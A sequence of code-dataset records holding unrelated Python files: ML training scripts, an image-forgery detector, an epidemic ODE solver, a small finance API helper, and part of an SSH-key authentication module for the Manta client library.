width.')\nflags.DEFINE_integer('channels', 4, 'The number of channels in the raw image.')\nflags.DEFINE_integer('batch_size', 2, 'The number of images in each batch.')\n\nflags.DEFINE_integer('grid_size', 1, 'Grid size to visualize generated and real images.')\nflags.DEFINE_string('model_type', 'late_fusion', 'Model type can be early_fusion or late_fusion .')\n\n\nflags.DEFINE_float('weight_decay_coeff', 0.00001, 'Weight decay coefficient.')\n\n# Model and dataset directories\nflags.DEFINE_string('train_log_dir',\n '/home/hugs/Models/mymodel',\n 'Directory to write event logs and save the model.')\n\nflags.DEFINE_string('dataset_dir',\n '/home/hugs/Data',\n 'Directory containing data from one region of interest.')\n\nflags.DEFINE_string('dataset_name',\n 'peron.tfrecord',\n 'Name of the tfrecord dataset.')\n\nflags.DEFINE_integer('max_number_of_steps', 150000, 'The maximum number of gradient steps.')\nflags.DEFINE_integer('save_checkpoint_secs', 300, 'The required time to save a checkpoint.')\nflags.DEFINE_integer('save_summaries_steps', 30, 'The step number to save summaries.')\nflags.DEFINE_float('learning_rate', 0.0002, 'The initial learning rate.')\nflags.DEFINE_float('beta', 0.5, 'The beta value for the Adam optimizer.')\nflags.DEFINE_integer('decay_steps', 50000, 'The decay steps for the learning rate.')\nflags.DEFINE_bool('staircase', True, 'Learning rate shape.')\n\nFLAGS = flags.FLAGS\n\n\ndef main(_):\n utils.create_folder(folder_list=[FLAGS.dataset_dir, FLAGS.train_log_dir])\n\n # Force all input processing onto CPU in order to reserve the GPU for\n # the forward inference and back-propagation.\n with tf.name_scope('inputs'):\n with tf.device('/cpu:0'):\n input = ginput.Input()\n input_a, input_b = input.get_batch(FLAGS.batch_size, FLAGS.img_size, FLAGS.channels)\n labels = tf.cast(tf.random_uniform([FLAGS.batch_size, 1], minval=0, maxval=2, dtype=tf.int32), dtype=tf.float32)\n\n # Define the Model\n model = gmodel.Model(model_type=FLAGS.model_type, is_train=True, grid_size=FLAGS.grid_size)\n model.build(img_a=input_a, img_b=input_b, labels=labels)\n\n # Define Loss\n loss_fn = gloss.Loss(model=model, weight_decay_coeff=FLAGS.weight_decay_coeff)\n\n # Get global step and the respective operation\n global_step_inc = utils.create_global_step()\n\n # Create training operation\n train_op = gtrain_op.TrainOp(model=model,\n loss_fn=loss_fn,\n learning_rate=FLAGS.learning_rate,\n decay_steps=FLAGS.decay_steps,\n beta=FLAGS.beta,\n staircase=FLAGS.staircase)\n\n op = train_op.create_train_op()\n\n status_message = tf.string_join(['Starting train step: ', tf.as_string(tf.train.get_or_create_global_step())],\n name='status_message')\n\n hooks = [tf.train.LoggingTensorHook([status_message], every_n_iter=10),\n tf.train.StopAtStepHook(num_steps=FLAGS.max_number_of_steps),\n utils.RunTrainOpsHook(train_ops=op)]\n\n training.train(train_op=global_step_inc,\n logdir=FLAGS.train_log_dir,\n master='',\n is_chief=True,\n scaffold=None,\n hooks=hooks,\n chief_only_hooks=None,\n save_checkpoint_secs=FLAGS.save_checkpoint_secs,\n save_summaries_steps=FLAGS.save_summaries_steps,\n config=None,\n max_wait_secs=7200)\n\n\nif __name__ == '__main__':\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run()\n","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"545165920","text":"# USAGE\n# python test_model.py -i resources/casia2/Tp/Tp_D_CNN_M_N_ani00057_ani00055_11149.jpg -m output/models/cnn_ela_patches.model\n# python test_model.py -v resources/videos/avengers_vfx.mp4 -m output/models/cnn_ela_auto.model\n\n# import the necessary packages\nfrom keras.preprocessing.image import img_to_array as img_to_array_keras\nfrom keras.models import load_model\nimport numpy as np\nimport argparse\nimport imutils\nimport cv2\nimport time\nimport uuid\nimport os\nfrom PIL import Image, ImageChops\nfrom io import BytesIO\n\n\ndef sliding_window(image, stepSize, windowSize):\n # slide a window across the image\n lastY = False\n for y in range(0, image.shape[0], stepSize):\n # y = y\n if y + stepSize > image.shape[0]:\n y = image.shape[0] - windowSize[1]\n lastY = True\n lastX = False\n for x in range(0, image.shape[1], stepSize):\n # yield the current window\n\n # x = x\n if x + stepSize > image.shape[1]:\n x = image.shape[1] - windowSize[0]\n lastX = True\n\n yield (x, y, image[y:y + windowSize[1], x:x + windowSize[0]])\n if lastX:\n break\n if lastY:\n break\n\n\ndef sliding_window2(image, stepSize, windowSize):\n # slide a window across the image\n lastY = False\n for y in range(0, image.shape[0], stepSize):\n # y = y\n if y + stepSize > image.shape[0]:\n break\n lastX = False\n for x in range(0, image.shape[1], stepSize):\n # yield the current window\n\n # x = x\n if x + stepSize > image.shape[1]:\n break\n\n yield (x, y, image[y:y + windowSize[1], x:x + windowSize[0]])\n if lastX:\n break\n if lastY:\n break\n\n\ndef perform_test(testimage, model):\n # load the image\n image = cv2.imread(testimage)\n if image is None:\n raise Exception(\"image cannot be read or does not exist\")\n exit()\n\n orig = Image.open(testimage)\n\n # resize image if too large\n maxDimension = 500\n w, h = orig.size\n # if w > maxDimension or h > maxDimension:\n # ratio = min(maxDimension/w, maxDimension/h)\n # dim = (int(w*ratio), int(h*ratio))\n # image = cv2.resize(image, dim)\n # orig = orig.resize(dim)\n\n # perform ELA on the image\n outDir = \"tmp/\"\n if not os.path.exists(outDir):\n os.makedirs(outDir)\n\n\n elaImg = orig\n filename = outDir + uuid.uuid4().hex[:6].upper()\n byte_io = BytesIO()\n elaImg.save(byte_io, \"JPEG\", quality=90)\n elaImg = Image.open(byte_io)\n elaImg = ImageChops.difference(orig, elaImg)\n elaImg.save(filename+\"_diff\", \"JPEG\")\n elaImg = cv2.imread(filename+\"_diff\")\n\n # print(\"[INFO] loading network...\")\n # model = load_model(args[\"model\"])\n\n category = \"authentic\"\n\n clone = image.copy()\n clone2 = cv2.imread(filename+\"_diff\", -1)\n (winW, winH) = (128, 128)\n for (x, y, window) in sliding_window(elaImg, stepSize=int(args[\"stepsize\"]), windowSize=(winW, winH)):\n # if the window does not meet our desired window size, ignore it\n if window.shape[0] != winH or window.shape[1] != winW:\n continue\n\n output = window.copy()\n\n window = window.astype(\"float\") / 255.0\n window = img_to_array_keras(window)\n window = np.expand_dims(window, axis=0)\n (authentic, tampered) = model.predict(window)[0]\n\n # build the label\n label = \"Tampered\" if tampered > authentic else \"Authentic\"\n if label == \"Tampered\":\n category = \"Tampered\"\n for xval in range(x, x+winH):\n for yval in range(y, y+winW):\n channels = clone2[yval][xval]\n if channels[0] > 3 or channels[1] > 3 or channels[2] > 3:\n clone[yval][xval][2] = 255\n proba = tampered if tampered > authentic else authentic\n # label = \"{}: {:.2f}%\".format(label, proba * 100)\n proba = \"{:.2f}%\".format(proba * 100)\n\n # draw the label on the image\n\n # print(\"label: \" + label)\n\n color = (0, 0, 255) if tampered > authentic else (0, 255, 0)\n\n cv2.rectangle(clone, (x, y), (x + winW, y + winH), color, 1)\n\n cv2.putText(clone, proba, (x+5, y+15), cv2.FONT_HERSHEY_SIMPLEX,\n 0.4, color, 1)\n\n cv2.imshow(\"Window\", clone)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n exit\n # time.sleep(.125)\n\n os.remove(filename+\"_diff\")\n\n return clone\n\n\ndef perform_test_video(video, model):\n cap = cv2.VideoCapture(video)\n fourcc = cv2.VideoWriter_fourcc(*'DIVX')\n width = int(cap.get(3))\n height = int(cap.get(4))\n fps = cap.get(5)\n\n framepath = 'tmp/video_frames/frame.jpg'\n outpath = 'output/videos/test.mp4'\n out = cv2.VideoWriter(outpath, fourcc, fps, (width, height), True)\n\n while(cap.isOpened()):\n ret, frame = cap.read()\n cv2.imwrite(framepath, frame, [int(cv2.IMWRITE_JPEG_QUALITY), 100])\n outframe = perform_test(framepath, model)\n # cv2.imshow('frame',frame)\n # if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n out.write(outframe)\n\n cap.release()\n out.release()\n cv2.destroyAllWindows()\n\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-m\", \"--model\", required=True,\n help=\"path to trained model model\")\nap.add_argument(\"-i\", \"--image\", required=False,\n help=\"path to input image\")\nap.add_argument(\"-v\", \"--video\", required=False,\n help=\"path to input video\")\nap.add_argument(\"-s\", \"--stepsize\", default=128,\n help=\"step size for the sliding window (pixels)\")\nargs = vars(ap.parse_args())\n\nprint(\"[INFO] loading network...\")\nmodel = load_model(args[\"model\"])\n\nif args['video']:\n perform_test_video(args[\"video\"], model)\nelif args['image']:\n perform_test(args['image'], model)\nelse:\n print(\"Please provide either an image or a video\")","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":5993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"172995241","text":"# data_type = [\"anti_correlated\", \"correlated\", \"random\"]\n\n# data_type = [\"anti_correlated\"]\n# dimensions = [7]\n# cardinality = [200000]\n# query_count = [1000]\n# topk = 14\n\n# data_type = [\"correlated\"]\n# dimensions = [7]\n# cardinality = [200000]\n# query_count = [1000]\n# topk = 17\n\n# data_type = [\"random\"]\n# dimensions = [7]\n# cardinality = [200000]\n# query_count = [1000]\n# topk = 13\n#\n# #########\n#\n# data_type = [\"anti_correlated\"]\n# dimensions = [7]\n# cardinality = [1000000]\n# query_count = [1000]\n# topk = 21\n# #\n# data_type = [\"correlated\"]\n# dimensions = [7]\n# cardinality = [1000000]\n# query_count = [1000]\n# topk = 26\n#\n# data_type = [\"random\"]\n# dimensions = [7]\n# cardinality = [1000000]\n# query_count = [1000]\n# topk = 21\n#\n# ##############\n#\n# data_type = [\"anti_correlated\"]\n# dimensions = [7]\n# cardinality = [1500000]\n# query_count = [1000]\n# topk = 24\n# #\n# data_type = [\"correlated\"]\n# dimensions = [7]\n# cardinality = [1500000]\n# query_count = [1000]\n# topk = 29\n\n# data_type = [\"random\"]\n# dimensions = [7]\n# cardinality = [1500000]\n# query_count = [1000]\n# topk = 23\n# #\n# ###############\n#\n# data_type = [\"anti_correlated\"]\n# dimensions = [7]\n# cardinality = [2000000]\n# query_count = [1000]\n# topk = 26\n#\n# data_type = [\"correlated\"]\n# dimensions = [7]\n# cardinality = [2000000]\n# query_count = [1000]\n# topk = 31\n#\ndata_type = [\"random\"]\ndimensions = [7]\ncardinality = [2000000]\nquery_count = [1000]\ntopk = 16\n\nimport math\n\nhashTables = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"q\", \"j\"]\n# KList = [80, 70, 70, 70, 60, 60, 60, 50, 50, 50]\n# KList = [70, 65, 60, 55, 50, 45, 40, 35, 30, 25]\nKList = [25, 20, 15, 10, 9, 8, 7, 6, 5, 4]\n\n# count, hashTables KList\nPARAMETER_FILE_FOLDER = \"../H2_ALSH/parameters/\"\n\nDATA_FOLDER = \"../H2_ALSH/qhull_data/Synthetic/\"\nSCRIPT_OUTPUT_DIR = \"../H2_ALSH/parameters/7D_partial/\"\n\nfor i in range(len(data_type)):\n for j in range(len(dimensions)):\n for k in range(len(cardinality)):\n SCRIPT_OUTPUT_FILE = SCRIPT_OUTPUT_DIR + data_type[i] + \"_\" + str(dimensions[j]) + \\\n \"_\" + str(cardinality[k]) + \"_\" + str(topk) + \"_parameters.txt\"\n f = open(SCRIPT_OUTPUT_FILE, 'w')\n K_Parameter_File = PARAMETER_FILE_FOLDER + \"K_\" + data_type[i] + \"_\" + str(dimensions[j]) + \\\n \"_\" + str(cardinality[k])\n # L_Parameter_File = PARAMETER_FILE_FOLDER + \"L_\" + data_type[i] + \"_\" + str(dimensions[j]) + \\\n # \"_\" + str(cardinality[k])\n f3 = open(K_Parameter_File, 'w')\n # f4 = open(L_Parameter_File, 'w')\n for m in range(len(KList)):\n f3.write(str(KList[m]) + \"\\n\")\n f3.close()\n # f4 = open(L_Parameter_File, 'w')\n # f4.close()\n declare_string = data_type[i] + \"_\" + str(dimensions[j]) + \"_\" + str(cardinality[k])\n count = []\n count1 = []\n K_Log_List = []\n K_Log_Minus_List = []\n K_Log_Plus_List = []\n K_Log_Plus_Plus_List = []\n f.write(\"# ------------------------------------------------------------------------------ \\n\")\n f.write(\"# \" + declare_string + \" \\n\")\n f.write(\"# ------------------------------------------------------------------------------ \\n\")\n for m in range(topk):\n input_file = DATA_FOLDER + data_type[i] + \"_\" + str(dimensions[j]) + \"_\" + str(cardinality[k]) + \\\n \"_qhull_layer_\" + str(m)\n f1 = open(input_file, 'r')\n lines = f1.readlines()\n first_line = lines[0]\n second_line = lines[1]\n\n cur_dimension = int(first_line.split('\\n')[0])\n cur_cardinality = int(second_line.split('\\n')[0])\n assert cur_dimension == dimensions[j]\n\n count.append(cur_cardinality)\n count1.append(float(cur_cardinality)/float(cardinality[k]))\n\n k_log = math.ceil(math.log(cur_cardinality, 2))\n k_log_minus = k_log - 3\n k_log_plus = k_log + 3\n k_log_plus_plus = k_log + 6\n\n K_Log_List.append(k_log)\n K_Log_Minus_List.append(k_log_minus)\n K_Log_Plus_List.append(k_log_plus)\n K_Log_Plus_Plus_List.append(k_log_plus_plus)\n f1.close()\n\n f.write(\"count = List\" + str(count) + \"\\n\")\n f.write(\"count1 = List\" + str(count1) + \"\\n\")\n f.write(\"KList = List\" + str(K_Log_List) + \"\\n\")\n f.write(\"KList = List\" + str(K_Log_Minus_List) + \"\\n\")\n f.write(\"KList = List\" + str(K_Log_Plus_List) + \"\\n\")\n f.write(\"KList = List\" + str(K_Log_Plus_Plus_List) + \"\\n\")\n f.write(\"hashTables = List[\" + ','.join(hashTables) + \"] \\n\")\n # f.write(\"hashTables = List\" + str(hashTables) + \"\\n\")\n f.write(\"KList = List\" + str(KList) + \"\\n\")\n opt_str = \"NMinimize[{TotalError, totalHashUsed <= totalBudget && TotalError < 1 && a \\[Element] \" \\\n \"Integers && b \\[Element] Integers && c \\[Element] Integers && d \\[Element] Integers && e \" \\\n \"\\[Element] Integers && f \\[Element] Integers && g \\[Element] Integers && h \\[Element] Integers \" \\\n \"&& i \\[Element] Integers && j \\[Element] Integers && a >= 1 \" \\\n \"&& b >= 1 && c >= 1 && d >= 1 && e >= 1 && f >= 1 && g >= 1 && h >=1 && i >=1 && j >=1}, \" \\\n \"{a,b,c,d,e,f,g,h,i,j}]\"\n f.write(\"\\n \\n \\n\")\n f.close()\n\n\n\n\n\n\n","sub_path":"Python_Analysis/Mathematica_Script_Gen.py","file_name":"Mathematica_Script_Gen.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"90897484","text":"import pickle\nimport os\n\nimport torch\n\nfrom snn.utils.utils_wtasnn import refractory_period, get_acc_and_loss\nfrom snn.data_preprocessing.load_data import get_example\n\n\ndef feedforward_sampling_ml(network, training_sequence, r, gamma):\n log_proba = network(training_sequence)\n\n probas = torch.softmax(torch.cat((torch.zeros([network.n_hidden_neurons, 1]).to(network.device),\n network.potential[network.hidden_neurons - network.n_input_neurons]), dim=-1), dim=-1)\n\n reg = \\\n torch.sum(torch.sum(network.spiking_history[network.hidden_neurons, :, -1]\n * torch.log(1e-07 + probas[:, 1:] / ((1 - r) / network.alphabet_size)), dim=-1)\n + (1 - torch.sum(network.spiking_history[network.hidden_neurons, :, -1], dim=-1))\n * torch.log(1e-07 + probas[:, 0] / r))\n\n reward = torch.sum(log_proba[network.output_neurons - network.n_input_neurons]) - gamma * reg\n\n return reward\n\n\ndef ml_update(network, eligibility_trace_hidden, eligibility_trace_output, reward,\n updates_hidden, baseline_num, baseline_den, learning_rate, kappa, beta):\n\n for parameter in updates_hidden:\n eligibility_trace_hidden[parameter].mul_(kappa).add_(1 - kappa, network.get_gradients()[parameter][network.hidden_neurons - network.n_input_neurons])\n\n baseline_num[parameter].mul_(beta).add_(1 - beta, eligibility_trace_hidden[parameter].pow(2).mul_(reward))\n baseline_den[parameter].mul_(beta).add_(1 - beta, eligibility_trace_hidden[parameter].pow(2))\n baseline = (baseline_num[parameter]) / (baseline_den[parameter] + 1e-07)\n\n updates_hidden[parameter].mul_(kappa).add_(1 - kappa, (reward - baseline) * eligibility_trace_hidden[parameter])\n\n network.get_parameters()[parameter][network.hidden_neurons - network.n_input_neurons] += (learning_rate * updates_hidden[parameter])\n\n if eligibility_trace_output is not None:\n eligibility_trace_output[parameter].mul_(kappa).add_(1 - kappa, network.get_gradients()[parameter][network.output_neurons - network.n_input_neurons])\n network.get_parameters()[parameter][network.output_neurons - network.n_input_neurons] += (learning_rate * eligibility_trace_output[parameter])\n\n return baseline_num, baseline_den, updates_hidden, eligibility_trace_hidden, eligibility_trace_output\n\n\ndef init_training(network):\n assert torch.sum(network.feedforward_mask[network.hidden_neurons - network.n_input_neurons, :, -network.n_output_neurons:]) == 0,\\\n 'There must be no backward connection from output to hidden neurons.'\n network.train()\n\n\n eligibility_trace_hidden = {parameter: network.get_gradients()[parameter][network.hidden_neurons - network.n_input_neurons] for parameter in network.get_gradients()}\n eligibility_trace_output = {parameter: network.get_gradients()[parameter][network.output_neurons - network.n_input_neurons] for parameter in network.get_gradients()}\n updates_hidden = {parameter: eligibility_trace_hidden[parameter] for parameter in network.get_gradients()}\n\n reward = 0\n baseline_num = {parameter: eligibility_trace_hidden[parameter].pow(2)*reward for parameter in eligibility_trace_hidden}\n baseline_den = {parameter: eligibility_trace_hidden[parameter].pow(2) for parameter in eligibility_trace_hidden}\n\n\n return eligibility_trace_output, eligibility_trace_hidden, updates_hidden, baseline_num, baseline_den, reward\n\n\ndef train(network, dataset, sample_length, dt, input_shape, polarity, indices, test_indices, lr, n_classes, r, beta, gamma, kappa, start_idx, test_accs, save_path):\n\n eligibility_trace_output, eligibility_trace_hidden, updates_hidden, baseline_num, baseline_den, reward = init_training(network)\n\n train_data = dataset.root.train\n test_data = dataset.root.test\n T = int(sample_length * 1000 / dt)\n\n\n for j, idx in enumerate(indices[start_idx:]):\n j += start_idx\n if (j + 1) % (3 * (dataset.root.stats.train_data[0])) == 0:\n lr /= 2\n\n if test_accs:\n if (j + 1) in test_accs:\n acc, loss = get_acc_and_loss(network, test_data, test_indices, T, n_classes, input_shape, dt, dataset.root.stats.train_data[1], polarity)\n test_accs[int(j + 1)].append(acc)\n print('test accuracy at ite %d: %f' % (int(j + 1), acc))\n\n if save_path is not None:\n with open(save_path + '/test_accs.pkl', 'wb') as f:\n pickle.dump(test_accs, f, pickle.HIGHEST_PROTOCOL)\n network.save(save_path + '/network_weights.hdf5')\n\n network.train()\n network.reset_internal_state()\n\n refractory_period(network)\n\n inputs, label = get_example(train_data, idx, T, n_classes, input_shape, dt, dataset.root.stats.train_data[1], polarity)\n sample = torch.cat((inputs, label), dim=0).to(network.device)\n\n for t in range(T):\n reward = feedforward_sampling_ml(network, sample[:, :, t].to(network.device), r, gamma)\n baseline_num, baseline_den, updates_hidden, eligibility_trace_hidden, eligibility_trace_output = \\\n ml_update(network, eligibility_trace_hidden, eligibility_trace_output, reward, updates_hidden, baseline_num, baseline_den, lr, kappa, beta)\n\n if j % max(1, int(len(indices) / 5)) == 0:\n print('Sample %d out of %d' % (j + 1, len(indices)))\n\n # At the end of training, save final weights if none exist or if this ite was better than all the others\n if not os.path.exists(save_path + '/network_weights_final.hdf5'):\n network.save(save_path + '/network_weights_final.hdf5')\n else:\n if test_accs[list(test_accs.keys())[-1]][-1] >= max(test_accs[list(test_accs.keys())[-1]][:-1]):\n network.save(save_path + '/network_weights_final.hdf5')\n\n return test_accs\n","sub_path":"snn/training_utils/multivalued_training.py","file_name":"multivalued_training.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"27034804","text":"from api.products.repositories.products import get_product\nfrom api.products.repositories.prices import get_price_now, get_price_trend, get_price_latest\n\n\ndef get_ticker(ticker):\n try:\n # lookup product\n product = get_product(ticker)\n\n # lookup price\n isStale = False\n price = get_price_now(ticker)\n if price is None:\n price = get_price_latest(ticker)\n isStale = True\n # should probably mark as stale\n\n trend = list(get_price_trend(ticker, 30))\n tList = []\n for x in trend:\n # tList.append(x['price'])\n # I polluted the data with strings. This is to filter them out.\n if type(x['price']) is float:\n tList.append(x['price'])\n tList.reverse()\n response = {\n \"ccy\": product[\"quote\"][\"currency\"],\n \"change\": price[\"change\"],\n \"id\": ticker,\n \"movement\": price[\"movement\"],\n \"name\": product[\"name\"],\n \"price\": price[\"price\"],\n \"spot\": 1,\n \"symbol\": product[\"quote\"][\"symbol\"],\n \"ticker\": ticker,\n \"displayTicker\": product[\"displayTicker\"],\n \"trend\": tList,\n \"isStalePrice\": isStale\n }\n except:\n response = None\n return response\n","sub_path":"api/products/business/watchlist.py","file_name":"watchlist.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"480923025","text":"# Solving an autonomous system of ODEs using the RK4 method\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef euler(f, t_start, x0, t_stop, n):\n h = (t_stop - t_start)/n\n t = [t_start]\n x = [x0]\n tn = t_start\n xn = x0\n\n for k in range(n):\n tn = tn + h\n xn = xn + h*f(tn,xn)\n t.append(tn)\n x.append(xn)\n \n return np.array(t), np.array(x)\n\ndef RK4(f, t_start, x0, t_stop, n):\n h = (t_stop - t_start)/n\n t = [t_start]\n x = [x0]\n tn = t_start\n xn = x0\n\n for k in range(n):\n k1 = f(tn,xn)\n k2 = f(tn + h/2,xn + h*k1/2)\n k3 = f(tn + h/2,xn + h*k2/2)\n k4 = f(tn + h,xn + h*k3)\n tn = tn + h\n xn = xn + h*(k1 + 2*(k2 + k3) + k4)/6\n t.append(tn)\n x.append(xn)\n\n return np.array(t), np.array(x)\n\n# Time parameters\nt_start = 0.0\nt_stop = 20.0\nn = 300\n\n# Model parameters\nalpha = 0.01\nbeta = 0.35\ngamma = 0.00\nx10 = 85\nx20 = 5\nN = 100\n\n# Uden vaccine (Opg 2.3(a)) Ignorer gamme variablen\ndef f(t, x):\n return np.array([-alpha*x[0]*x[1],\n alpha*x[0]*x[1] - beta*x[1]])\n\n\n# Med vaccine (Opg 2.3(c)) \n# def f(t, x):\n# return np.array([-alpha*x[0]*x[1] - gamma*x[0],\n# alpha*x[0]*x[1] - beta*x[1]])\n\n\n# Numerical solution by RK4\ntr, xr = RK4(f, t_start, np.array([x10, x20]), t_stop, n)\n\nxr1 = xr[:,0]\nxr2 = xr[:,1]\nxr3 = N - xr1 - xr2\n\n# Numerical solution by Euler\nte, xe = euler(f, t_start, np.array([x10, x20]), t_stop, n)\n\nxe1 = xe[:,0]\nxe2 = xe[:,1]\nxe3 = N - xe1 - xe2\n\n# RK4 Plots\nplt.figure()\nplt.plot(xr1, xr2, 'r-', [x10], [x20], 'k.')\nplt.xlabel('Susceptible')\nplt.ylabel('Infected')\nplt.title(f'Alpha = {alpha:0.2f}, Beta = {beta:0.2f}, Gamma = {gamma:0.2f}')\nplt.show()\n\nplt.figure()\nplt.plot(tr, xr1, 'r-', tr, xr2, 'k-', tr, xr3, 'b-')\nplt.xlabel('Time')\nplt.ylabel('No. of cases')\nplt.legend(['Susceptible', 'Infected', 'Recovered'])\nplt.title(f'Alpha = {alpha:0.2f}, Beta = {beta:0.2f}, Gamma = {gamma:0.2f}')\nplt.show()\n\n# Euler Plots\n# plt.figure()\n# plt.plot(xe1, xe2, 'r-', [x10], [x20], 'k.')\n# plt.xlabel('Susceptible')\n# plt.ylabel('Infected')\n# plt.title('Smittede og kan smittes Euler')\n# plt.show()\n\n# plt.figure()\n# plt.plot(te, xe1, 'r-', te, xe2, 'k-', te, xe3, 'b-')\n# plt.xlabel('Time')\n# plt.ylabel('No. of cases')\n# plt.legend(['Susceptible', 'Infected', 'Recovered'])\n# plt.title('Kan smittes, smittede og immune Euler')\n# plt.show()","sub_path":"CSB/EPG2/Code/Kinder ligemeget/Vac_vek_wok.py","file_name":"Vac_vek_wok.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"391982462","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCopied from Joyent's ```python-manta``` implementation_.\n\nThe MIT License\n\nCopyright (c) 2012, Joyent, Inc. All rights reserved.\n\nPermission is hereby granted, free of charge, to any person obtaining a\ncopy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to permit\npersons to whom the Software is furnished to do so, subject to the\nfollowing conditions:\n\nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\nNO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\nOTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\nUSE OR OTHER DEALINGS IN THE SOFTWARE.\n\n.. _implementation: https://github.com/joyent/python-manta/blob/master/manta/auth.py\n\"\"\"\n\nimport re\nimport os\nimport struct\nimport base64\nimport hashlib\n\nfrom glob import glob\nfrom getpass import getpass\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\nfrom Crypto.Hash import SHA256, SHA, SHA512\n\nfrom ._errors import MantaError\n\n__all__ = [\"ssh_key_info_from_key_data\", \"agent_key_info_from_key_id\",\n \"signature_from_agent_sign_response\", \"get_hash_class\"]\n\nFINGERPRINT_RE = re.compile(r\"^([a-f0-9]{2}:){15}[a-f0-9]{2}$\")\n\n\ndef get_hash_class(key_info):\n \"\"\"\n Return the correct hash class for the given ```key_info```.\n\n :param key_info: A dict containing relevant information about an SSH key.\n :return: Hash class\n \"\"\"\n hash_algo = key_info[\"algorithm\"].split('-')[1]\n hash_class = {\"sha1\": SHA,\n \"sha256\": SHA256,\n \"sha512\": SHA512}\n return hash_class[hash_algo]\n\n\ndef fingerprint_from_ssh_pub_key(data):\n \"\"\"\n Calculate the fingerprint of SSH public key data::\n\n >>> data = \"ssh-rsa AAAAB3NzaC1y...4IEAA1Z4wIWCuk8F9Tzw== my key comment\"\n >>> fingerprint_from_ssh_pub_key(data)\n '54:c7:4c:93:cf:ff:e3:32:68:bc:89:6e:5e:22:b5:9c'\n\n Accepts::\n\n - just the base64 encoded data part, e.g.\n 'AAAAB3NzaC1yc2EAAAABIwAA...2l24uq9Lfw=='\n - the full ssh pub key file content, e.g.:\n 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAA...2l24uq9Lfw== my comment'\n\n Adapted from and imgapi.js#fingerprintFromSshpubkey.\n \"\"\"\n data = data.strip()\n if re.search(r'^ssh-(?:rsa|dss) ', data):\n data = data.split(None, 2)[1]\n key = base64.b64decode(data)\n fp_plain = hashlib.md5(key).hexdigest()\n return ':'.join(a+b for a,b in zip(fp_plain[::2], fp_plain[1::2]))\n\n\ndef fingerprint_from_raw_ssh_pub_key(key):\n \"\"\"\n Encode a raw SSH key (string of bytes, as from ```str(paramiko.AgentKey)```)\n to a fingerprint in the typical\n ```54:c7:4c:93:cf:ff:e3:32:68:bc:89:6e:5e:22:b5:9c``` form.\n \"\"\"\n fp_plain = hashlib.md5(key).hexdigest()\n return ':'.join(a+b for a,b in zip(fp_plain[::2], fp_plain[1::2]))\n\n\ndef load_ssh_key(key_id, skip_priv_key=False):\n \"\"\"\n Load a local ssh private key (in PEM format). PEM format is the OpenSSH\n default format for private keys.\n\n See similar code in imgapi.js#loadSSHKey.\n\n :param key_id: An ssh public key fingerprint or ssh private key path.\n :param skip_priv_key: Optional. Default false. If true, then this\n will skip loading the private key file and `priv_key` will be `None`\n in the retval.\n :return: A dict with these keys: ```[\"pub_key_path\", \"fingerprint\",\n \"priv_key_path\", \"priv_key\"]```\n \"\"\"\n priv_key = None\n\n # If `key_id` is already a private key path, then easy.\n if not FINGERPRINT_RE.match(key_id):\n if not skip_priv_key:\n f = open(key_id)\n try:\n priv_key = f.read()\n finally:\n f.close()\n pub_key_path = key_id + '.pub'\n f = open(pub_key_path)\n try:\n pub_key = f.read()\n finally:\n f.close()\n fingerprint = fingerprint_from_ssh_pub_key(pub_key)\n return dict(\n pub_key_path=pub_key_path,\n fingerprint=fingerprint,\n priv_key_path=key_id,\n priv_key=priv_key)\n\n # Else, look at all pub/priv keys in \"~/.ssh\" for a matching fingerprint.\n fingerprint = key_id\n pub_key_glob = os.path.expanduser('~/.ssh/*.pub')\n for pub_key_path in glob(pub_key_glob):\n f = open(pub_key_path)\n try:\n pub_key = f.read()\n finally:\n f.close()\n if fingerprint_from_ssh_pub_key(pub_key) == fingerprint:\n break\n else:\n raise MantaError(\n \"no '~/.ssh/*.pub' key found with fingerprint '%s'\"\n % fingerprint)\n priv_key_path = os.path.splitext(pub_key_path)[0]\n if not skip_priv_key:\n f = open(priv_key_path)\n try:\n priv_key = f.read()\n finally:\n f.close()\n return dict(\n pub_key_path=pub_key_path,\n fingerprint=fingerprint,\n priv_key_path=priv_key_path,\n priv_key=priv_key)\n\n\ndef unpack_agent_response(d):\n parts = []\n while d:\n length = struct.unpack('>I', d[:4])[0]\n bits = d[4:length+4]\n parts.append(bits)\n d = d[length+4:]\n return parts\n\n\ndef signature_from_agent_sign_response(d):\n \"\"\"\n h/t \n \"\"\"\n return unpack_agent_response(d)[1]\n\n\ndef 